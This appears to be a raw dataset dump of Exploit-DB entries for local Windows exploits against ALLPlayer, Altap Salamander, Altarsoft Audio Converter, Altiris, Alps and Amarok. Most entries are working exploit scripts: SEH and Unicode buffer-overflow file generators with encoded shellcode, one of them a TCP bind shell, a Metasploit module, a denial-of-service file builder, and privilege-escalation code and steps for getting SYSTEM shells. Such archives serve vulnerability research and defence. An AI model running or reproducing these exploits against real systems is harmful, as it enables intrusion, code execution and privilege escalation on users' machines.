deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29798
Description: ALLPlayer 5.7 - '.m3u' UNICODE Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-11-24
Author: Mike Czumak

Exploit:
#!/usr/bin/perl

###############################################################################
# Exploit Title: ALLPlayer 5.7 (.m3u) - SEH Buffer Overflow (Unicode)
# Date: 11-23-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: ALLPlayer 5.7 
# Software Link: http://www.allplayer.org/download/allplayer
# Version: 5.7
# Tested On: Windows XP SP3 and Windows 7 Pro SP1
##############################################################################

my $buffsize = 5000; # sets buffer size for consistent sized payload
my $junk = "http://" . "\x41" x 303; # offset to seh
my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop
my $seh = "\x11\x66"; # overwrite seh with unicode friendly pop pop ret
		      # 0x00660011 : pop ecx pop ebp ret  | startnull,unicode,ascii {PAGE_EXECUTE_READ} [ALLPlayer.exe] 
		      # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.7.0.0 (C:\Program Files\ALLPlayer\ALLPlayer.exe)

# unicode venetian alignment
my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad 
$venalign = $venalign . "\x71"; # venetian pad/align
$venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes)
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x05\x14\x11"; # add eax,0x11001400
$venalign = $venalign . "\x6e"; # venetian pad/align 
$venalign = $venalign . "\x2d\x13\x11"; # sub eax,0x11001300
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x50"; # push eax
$venalign = $venalign . "\x6d"; # venetian pad/align
$venalign = $venalign . "\xc3"; # ret

my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode

# Calc.exe payload
# msfpayload windows/exec CMD=calc.exe R
# alpha2 unicode/uppercase
my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA".
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K".
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL".
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55".
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V".
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB".
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT".
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU".
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM".
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
"QQ2LRCM0LJA";
 
my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk
my $buffer = $sploit.$fill; # assemble the final buffer

# write the exploit buffer to file
my $file = "allplayer_unicodeseh.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";
Exploit-DB #32041
Description: ALLPlayer 5.8.1 - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2014-03-03
Author: Gabor Seljan

Exploit:
#-----------------------------------------------------------------------------#
# Exploit Title: ALLPlayer 5.8.1 - (.m3u) Buffer Overflow (SEH)               #
# Date: Mar 1 2014                                                            #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.allplayer.org/download/allplayer                  #
# Version: 5.8.1                                                              #
# Tested on: Windows 7 SP1                                                    #
#-----------------------------------------------------------------------------#

# This application is still vulnerable to a buffer overflow, caused by improper
# bounds checking of an URL given via menu or placed inside an M3U file.
# 
# Credit to previous exploits:
#   + http://www.exploit-db.com/exploits/29798/ by Mike Czumak
#   + http://www.exploit-db.com/exploits/28855/ by metacom

#!/usr/bin/perl

use strict;
use warnings;

my $filename = "sploit.m3u";

my $junk1 = "\x41" x 301;   # Offset to SEH
my $nSEH  = "\x61\x50";     # POPAD # Venetian padding
my $SEH   = "\x50\x45";     # POP POP RET from ALLPlayer.exe
my $junk2 = "\x42" x 700;
 
my $align = "\x53".         # PUSH EBX
            "\x6e".         # Venetian padding
            "\x58".         # POP EAX
            "\x6e".         # Venetian padding
            "\x05\x14\x11". # ADD EAX,0x11001400
            "\x6e".         # Venetian padding
            "\x2d\x13\x11". # SUB EAX,0x11001300
            "\x6e".         # Venetian padding
            "\x50".         # PUSH EAX
            "\x6e".         # Venetian padding
            "\xc3";         # RET

my $nops = "\x71" x 109;

# msfpayload windows/exec cmd=calc.exe R
# msfencode -e x86/unicode_mixed BufferRegister=EAX
my $shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAh".
"AAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLyXTI9pKPip".
"S02iwuP1z2RDRkb2nP2kNrjlDKnrN4BkD2NHJofWPJLfNQyonQGPDlmloqSLyrNLmPy16ozmYqY7".
"JBzPB2R72kqBLPrkMrmlZaj0Bka0d83UGP1dOZYqvpb04Ka8mH4KR8kpYqyCHcMlQ9DKmdDKM18V".
"nQyolqEpdl91FojmzahGNXk01eYd9s3M8xMk1mmTbUYRr8dKNxldKQWcRFRklLpKBkaHKl9qwc2k".
"itRk9qFp3Yq4O4mT1K1Ks1aI0Zb1KOGpR8QOPZrkMBJKTFqMRJkQBm3UgIipYpypNp38matKpoe7".
"ioyE7KJP85vBQF0heVCeEm3mio7eMlYvsLiz3PikiP45ze7KPGJs1bpoBJKP0SkOiEqSaQBL33ln".
"s5sH2E9pAA";
 
my $sploit = $junk1.$nSEH.$SEH.$align.$nops.$shellcode.$junk2;

open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE "http://$sploit";
close(FILE);

print "\nExploit file created successfully [$filename]!\n\n";
print "You can either:\n";
print "\t1. Open the created $filename file directly with ALLPlayer\n";
print "\t2. Open the crafted URL via menu by Open movie/sound -> Open URL\n\n";
print "http://$sploit\n";
Exploit-DB #42455
Description: ALLPlayer 7.4 - Local Buffer Overflow (SEH Unicode)
Type: local
Platform: windows
Date: 2017-08-15
Author: f3ci

Exploit:
#!/usr/bin/python
# Exploit Title: ALL Player v7.4 SEH Buffer Overflow (Unicode)
# Version: 7.4
# Date: 15-08-2017
# Exploit Author: f3ci
# Tested on: Windows 7 SP1 x86

head = "http://"
seh = "\x0f\x47" #0x0047000f
nseh = "\x61\x41" #popad align
junk = "\x41" * 301
junk2 = "\x41" * 45

#msfvenom -p windows/shell_bind_tcp LPORT=4444 -e x86/unicode_mixed
BufferRegister=EAX -f python
#x86/unicode_mixed succeeded with size 782 (iteration=0)
#Payload size: 782 bytes
buf = ""
buf += "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQ"
buf += "AIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYA"
buf += "ZBABABABABkMAGB9u4JBkL7x52KPYpM0aPqyHeMa5pbDtKNpNPBk"
buf += "QBjlTKaBkd4KD2mXzo87pJlfNQ9ovLOLs1cLIrnLMPGQfoZmyqI7"
buf += "GrZRobnwRk1Bn0bknjOLDKPLkaQhGsNhzawaOa4KaIO0M1XSbka9"
buf += "lXISmja9Rkp4TKM1FvMaYofLfaXOjmYqUw08wp0uJVJcqmYhmk3M"
buf += "o4rUk41HTK28NDjaFsrFRklLPK4KaHklzaICTKytbkM1VpSYa4nD"
buf += "NDOkaKaQ291JoaIoWpqOaOQJtKN2HkTMOmOxOCOBIpm0C8CGT3oB"
buf += "OopTC80L2WNFzgyoz5Txf0ZaYpm0kyfdB4np38kycPpkypIoiEPj"
buf += "kXqInp8bKMmpr010pPC8YZjoiOK0yohU67PhLBypjq1L3YzF1ZLP"
buf += "aFaGPh7R9KoGBGKO8U271XEg8iOHIoiohUaGrH3DJLOK7qIo9EPW"
buf += "eG1XBU0nnmc1YoYEC81SrMs4ip4IyS27ogaGnQjVaZn2B9b6jBkM"
buf += "S6I7oTMTMliqkQ2m14nDN0UvKPndb4r0of1FNv0Fr6nn0VR6B31F"
buf += "BH49FlmoTFyoIEbi9P0NPVq6YolpaXjhsWmMc0YoVuGKHpEe3rnv"
buf += "QXVFce5mcmkOiEMlKV1lLJ3Pyk9PT5m5GKoWZsSBRO2JypPSYoxUAA"

#venetian
ven = "\x56"            #push esi
ven += "\x41"           #align
ven += "\x58"           #pop eax
ven += "\x41"           #align
ven += "\x05\x04\x01"   #add eax,01000400
ven += "\x41"           #align
ven += "\x2d\x01\x01"   #add eax,01000100
ven += "\x41"           #align
ven += "\x50"           #push eax
ven += "\x41"           #align
ven += "\xc3"           #ret

buffer = head + junk + nseh + seh + ven + junk2 + buf

print len(buffer)
f=open("C:\Users\Lab\Desktop\player.m3u",'wb')
f.write(buffer)
f.close()
Exploit-DB #46668
Description: AllPlayer 7.4 - SEH Buffer Overflow (Unicode)
Type: local
Platform: windows
Date: 2019-04-08
Author: Chris Au

Exploit:
#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  AllPlayer V7.4 - Local Buffer Overflow (SEH Unicode)
# Date: 07-04-2019
# Vulnerable Software: AllPlayer V7.4
# Vendor Homepage: https://www.allplayer.org/
# Version: 7.4
# Software Link: http://allplayer.org/Download/ALLPlayerEN.exe
# Tested Windows Windows 7 SP1 x86
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open AllPlayer
# 3. select "Open video or audio file", click "Open URL"
# 4. paste contents from clipboard
# 5. select OK
# 6. calc.exe
#

filename="evil.txt"
header = "http://"
junk = "\xcc" * 301
nseh = "\x90\x45"
seh = "\x7a\x74" #pop pop retn
valign = (
"\x55" #push ebp
"\x45" #align
"\x58" #pop eax
"\x45" #align
"\x05\x20\x11" #add eax,11002000
"\x45" #align
"\x2d\x18\x11" #sub eax,11001900
"\x45" #align
"\x50" #push eax
"\x45" #align
"\xc3" #retn
)
#nop to shell
nop = "\xcc" * 115
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"
"Lnc51hOuipAA")
fill = "\x45" * 5000
buffer = header + junk + nseh + seh + valign + nop + shellcode + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #24258
Description: Aloaha Credential Provider Monitor 5.0.226 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2013-01-20
Author: LiquidWorm

Exploit:
Aloaha Credential Provider Monitor 5.0.226 Local Privilege Escalation Vulnerability


Vendor: Aloaha Software - Wrocklage Intermedia GmbH
Product web page: http://www.aloaha.com
Affected version: 5.0.226

Summary: Aloaha Credential Provider represents one of the most dramatic changes
in the Windows Vista / 7 logon screen, making it much easier to implement new user
authentication scenarios that are supported by the OS. To be able to logon via
Smartcard to a windows machine requires usually the machine being a member of a
domain. With the Aloaha Credential Provider that is not required, the logon screen
is the first thing users see when they turn on the computer.

Desc: The Aloaha Credential Provider Service is vulnerable to an elevation of
privileges vulnerability which can be used by a simple user that can change the
executable file with a binary of choice. The vulnerability exist due to the
improper permissions, with the 'F' flag (full) for the 'Everyone' group, for the
'AloahaCredentialProviderService.exe' binary file. The service was shipped with
Aloaha PDF Saver and possibly every SmartCard Software package from Aloaha. The
files are installed in the 'Wrocklage' directory which has the Everyone group
assigned to it with full permissions making every single file inside vulnerable
to change by any user on the affected machine. After you replace the binary with
your rootkit, on reboot you get SYSTEM privileges.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit/64bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5124
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5124.php


19.01.2013


---------------------------------------------------------------------------------

C:\Program Files\Wrocklage>sc qc AloahaCPM
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AloahaCPM
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\Wrocklage\AloahaCredentialProviderService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Aloaha Credential Provider Monitor
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Program Files\Wrocklage>cacls AloahaCredentialProviderService.exe
C:\Program Files\Wrocklage\AloahaCredentialProviderService.exe NT AUTHORITY\SYSTEM:(ID)F
                                                               Everyone:(ID)F
                                                               BUILTIN\Administrators:(ID)F
                                                               BUILTIN\Users:(ID)R


C:\Program Files\Wrocklage>

---------------------------------------------------------------------------------
Exploit-DB #47605
Description: Alps HID Monitor Service 8.1.0.10 - 'ApHidMonitorService' Unquote Service Path
Type: local
Platform: windows
Date: 2019-11-11
Author: Héctor Gabriel Chimecatl Hernández

Exploit:
# Exploit Title: Alps HID Monitor Service 8.1.0.10 - 'ApHidMonitorService' Unquote Service Path
# Date: 2019-11-07
# Exploit Author: Héctor Gabriel Chimecatl Hernández
# Vendor Homepage: https://www.alps.com/e/
# Software Link: https://www.alps.com/e/
# Version: 8.1.0.10
# Tested on: Windows 10 Home Single Language x64 Esp

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Service info:

Alps HID Monitor Service	ApHidMonitorService	C:\Program Files\Apoint2K\HidMonitorSvc.exe	Auto

C:\Users\user>sc qc ApHidMonitorService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ApHidMonitorService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Apoint2K\HidMonitorSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Alps HID Monitor Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #47637
Description: Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-12
Author: Mario Rodriguez

Exploit:
# Exploit Title: Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path
# Date: 2019-11-12
# Exploit Author: Mario Rodriguez
# Vendor Homepage: https://www.alps.com/e/
# Software Link: https://www.alps.com/e/
# Version: 8.1202.1711.04
# Tested on: Windows 10 Home x64 Spanish

#The Alps Pointing-device controller installs a service with an unquoted path
#which could be used as a local privilege escalation vulnerability. To exploit this vulnerability,
#an executable file could be placed in the path of the service and after rebooting the system or
#restarting the service the malicious code will be executed with elevated privileges.

#Step to discover the vulnerability

C:\Users\user>wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Alps HID Monitor Service    ApHidMonitorService     C:\Program Files\Apoint2K\HidMonitorSvc.exe     Auto

C:\Users\user>sc qc ApHidMonitorService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ApHidMonitorService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Apoint2K\HidMonitorSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Alps HID Monitor Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #16656
Description: Altap Salamander 2.5 PE Viewer - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-12-16
Author: Metasploit

Exploit:
##
# $Id: altap_salamander_pdb.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Altap Salamander <= v2.5.
					By creating a malicious file and convincing a user to view the file with
					the Portable Executable Viewer plugin within a vulnerable version of
					Salamander, the PDB file string is copied onto the stack and the
					SEH can be overwritten.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'patrick' ],
			'Version'        => '$Revision: 11353 $',
			'References'     =>
				[
					[ 'CVE', '2007-3314' ],
					[ 'BID', '24557' ],
					[ 'OSVDB', '37579' ],
					[ 'URL', 'http://vuln.sg/salamander25-en.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 19 2007',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ false, 'The file name.',  'msf-salamander-pdb.exe'])
				], self.class)

	end

	def exploit

		seh = generate_seh_payload(target.ret)

		# load the static pdb file beginning
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2007-3314.dat")
		fd = File.open(path, "rb")
		sploit = fd.read(fd.stat.size)
		fd.close

		sploit << rand_text_alphanumeric(1098) + seh
		sploit << ".pdb"

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end
Exploit-DB #15751
Description: Altarsoft Audio Converter 1.1 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-12-16
Author: C4SS!0 G0M3S

Exploit:
#
#
# Exploit Title: Exploit Buffer Overflow Altarsoft Audio Converter 1.1(SEH)
# Date: 16/12/2010
# Author: C4SS!0 G0M3S
# Software Link: http://www.altarsoft.com/downloads/AltarsoftAudioConverter.exe
# Version: 111
# Tested on: WIN-XP SP3 PT-BR
# CVE: N/A
#
#
#Created By C4SS!0 G0M3S
#E-MAIL Louredo_@hotmail.com
#Home: http://www.invasao.com.br
#
#
use IO::File;

if($#ARGV != 0)
{
sub usage
{
system("cls");
system("color 4f");

      print "\r\n   ||=================================================================||\n";
	  print "   ||                                                                 ||\n";
      print "   || Exploit Buffer Overflow Altarsoft Audio Converter 1.1(SEH)      ||\n";
      print "   || Created BY C4SS!0 G0M3S                                         ||\n";
      print "   || Contact Louredo_\@hotmail.com                                    ||\n";
	  print "   ||                                                                 ||\n";
      print "   ||=================================================================||\n\n\n";
print("[+]Exploit: Buffer Overflow Altarsoft Audio Converter 1.1(SEH)\n");
print("[+]Date: 16/12/2010\n");
print("[+]Author: C4SS!0 G0M3S\n");
print("[+]E-mail: Louredo_\@hotmail.com\n");
print("[+]Home: http://www.invasao.com.br\n");
print("[+]Version: 2.1\n");
print("[+]Impact: Hich\n");
print("[+]Tested On: WIN-XP SP3 Virtual Box\n\n");

}
usage;
print "[-]Usage: $0 <File Name>\n";
print "[-]Exemple: $0 music.wav\n";
exit(0);
}

$file = $ARGV[0];

$buffer = "\x41" x 4128;
$eip = pack('V',0x004FCA3F);
$nseh = "\xeb\x06\x90\x90";
$seh =  pack('V',0x0042f486);

$nops = "\x90" x 15;

#Shellcode MessageBoxA()
my $shellcode = 
"\x33\xC0\x33\xC9\x33\xD2\x33\xDB\x50\x68\x6C\x6C\x20\x20\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x54\x58\xBB\x7B\x1D\x80\x7C\x50".
"\xFF\xD3\x90\x33\xD2\x52\xB9\x5E\x67\x30\xEF\x81\xC1\x11\x11\x11\x11\x51\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x54\x5A\x52\x50".
"\xB9\x30\xAE\x80\x7C\xFF\xD1\x33\xC9\x33\xD2\x33\xDB\x51\x68\x53\x20\x20\x20\x68\x47\x30\x4D\x33\x68\x53\x21\x30\x20\x68\x20\x43".
"\x34\x53\x68\x64\x20\x42\x79\x68\x6F\x69\x74\x65\x68\x45\x78\x70\x6C\x54\x59\x53\x68\x21\x30\x20\x20\x68\x43\x34\x53\x53\x54\x5B".
"\x6A\x40\x53\x51\x52\xFF\xD0\x33\xC0\x50\xBE\xFA\xCA\x81\x7C\xFF\xD6";



$payload = $buffer.$eip.$nseh.$seh.$nops.$shellcode;

open(f,">$file")or die "ERROR:\n$!\n";
print f $payload;
close(f);
usage;
print "[*]Identifying the size Shellcode\n";
print "[*]The Shellcode Size:".length($shellcode)."\n";
print "[*]Creating File $file\n";
print "[*]The File $file Created Successfully\n";
Exploit-DB #25554
Description: Altiris Client 6.0.88 - Service Privilege Escalation
Type: local
Platform: windows
Date: 2005-04-27
Author: Reed Arvin

Exploit:
// source: https://www.securityfocus.com/bid/13409/info

A local privilege escalation vulnerability affects the Altiris Client Service. This issue is due to a failure of the application to properly secure access to privileged interfaces.

An attacker may leverage this issue to gain SYSTEM level privileges on an affected computer. 

#include <stdio.h>
#include <windows.h>

int main( void )
{
        HWND hWnd;
        char szWindowName[] = "Altiris Client Service";

        printf( "Finding window %s\n", szWindowName );

        hWnd = FindWindow( NULL, szWindowName );

        if ( hWnd == NULL )
        {
                printf( "ERROR! Could not find window %s\n", szWindowName );

                exit( 1 );
        }

        ShowWindow( hWnd, SW_SHOW );

        return 0;
}
Exploit-DB #24754
Description: Altiris Deployment Solution 5.6 - Client Service Privilege Escalation
Type: local
Platform: windows
Date: 2004-11-19
Author: Reed Arvin

Exploit:
source: https://www.securityfocus.com/bid/11709/info

Altiris Deployment Solution Client allows a user to activate the client interface by easily launching the software from an icon in the Windows system tray. It is reported that a local user may exploit the client interface to escalate privileges.

It should be noted that although this vulnerability is reported to exist in Altiris Deployment Solution version 5.6 SP1 (Hotfix E) other versions might also be affected.

1. Right click on the Altiris Client Service icon in the Taskbar and choose View Log File
2. Notepad should open. Click File, click Open
3. In the Files of type: field choose All Files
4. Navagate to '%WINDIR%\System32'. Right click on 'cmd.exe' and choose Open
6. A new command shell with launch with SYSTEM privileges
Exploit-DB #48993
Description: Amarok 2.8.0 - Denial-of-Service
Type: local
Platform: windows
Date: 2020-11-05
Author: FishballAndMeatball

Exploit:
# Exploit Title: Amarok 2.8.0 - Denial-of-Service
# Date: 1 November 2020
# Exploit Author: FishballAndMeatball
# Vendor Homepage: https://amarok.kde.org/
# Software link: https://community.kde.org/Amarok/GettingStarted/Download
# Version: Amarok 2.8.0
# Tested on: Windows 10, Windows 7, Windows XP
# CVE: CVE-2020-13152

my $file= “test_big.m3u“;
my $junk= “\x41” x 6368545;
open($FILE,”>$file”);
print $FILE “$junk”;
close($FILE);
print “m3u File Created successfully\n”;